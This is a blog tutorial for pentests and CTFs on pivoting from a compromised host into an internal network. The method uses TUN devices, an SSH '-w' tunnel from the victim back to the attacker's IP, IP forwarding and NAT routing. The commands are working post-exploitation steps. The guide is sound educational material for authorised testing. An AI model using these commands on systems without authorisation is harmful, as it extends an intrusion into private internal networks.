Setting up a routed tunnel with SSH
Learn how to set up a secure SSH tunnel to pivot into a network during a pentest or CTF challenge with this step-by-step guide.

Introduction
In many CTF engagements or pentests, you may encounter a scenario where you have successfully compromised a system, but are not able to access the internal network due to firewall rules or other security measures. In such cases, you can use a routed connection between the compromised system and your attack system to pivot into the network.
In this blog post, we will look at how to setup a routed connection between a compromised system and your attack system using an SSH tunnel and TUN/TAP virtual network devices.
Prerequisites
- Root access to the compromised system and your attack system.
- OpenSSH client and server installed on both systems.
- Basic understanding of network routing.
Step 1: Setup the TUN/TAP Virtual Network Devices
First, we need to setup TUN/TAP virtual network devices on both the compromised system and the attack system.
On the compromised system, run the following commands as root:
ip tuntap add dev tun0 mode tun user <username>
ip addr add 10.10.255.1/30 dev tun0
ip link set dev tun0 up
# In the case that the system uses pluggable tun module in the kernel
# you may need to run the command
modprobe tun
Replace <username>
with the username of the user that will be running the SSH tunnel, likely root.
On the attack system, run the following commands as root. You may need to adjust the tun number if you have existing VPN connections:
ip tuntap add dev tun1 mode tun
ip addr add 10.10.255.2/30 dev tun1
ip link set dev tun1 up
Again, replace <username>
with the username of the user that will be running the SSH tunnel.
If your attack system does not already have SSHD configured to allow tunnels you will need to enable that also. To configure PermitTunnel open /etc/ssh/sshd_config
in your favorite editor and ensure the following line is set.
PermitTunnel yes
I would also highly recommend making it so that the root user when connected over ssh cannot run any commands since we are using this for a tunnel only. To do this add the following to the bottom of your sshd_config file.
Match User root
ForceCommand /bin/false
Once this has been configured restart the ssh daemon.
systemctl restart ssh
Step 2: Setup the SSH Tunnel
Next, we need to setup an SSH tunnel between the compromised system and the attack system. The tunnel will forward traffic between the TUN/TAP virtual network devices.
On the compromised system, run the following command as the user that owns the TUN/TAP virtual network device:
ssh -f -N -w 0:1 <attacker_system_ip>
Replace <attacker_system_ip>
with the IP address of the attack system and if needed the tunnel numbers which are part of the -w 0:1
command where the first number is the local (compromised system) tunnel number and the second is the remote (attacker system) tunnel number.
This command will create an SSH tunnel between the compromised system and the attack system using the -w option to create a tunnel interface that forwards traffic between the TUN/TAP virtual network devices.
Step 3: Configure Network Routing
Finally, we need to configure network routing to ensure that traffic is forwarded correctly between the two systems.
On the compromised system, run the following commands as root:
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -d 172.16.22.0/28 -o eth0 -j MASQUERADE
ip route add 10.10.255.2 via 10.10.255.1 dev tun0
Replace 172.16.22.0/28
with the network you want to access on the internal network.
On the attack system, run the following command as root:
ip route add 172.16.22.0/28 via 10.10.255.1 dev tun1
Conclusion
In this blog post, we looked at how to setup a routed connection between a compromised system and your attack system using an SSH tunnel and TUN/TAP virtual network devices. This technique can be very useful in scenarios where you need to access resources inside a network and don't want to use a tool like Chisel. Keep in mind this is a full routed connection between the systems so it could provide access to your attack system as well. Make sure you use appropriate firewall rules and ideally run this in a dedicated virtual machine.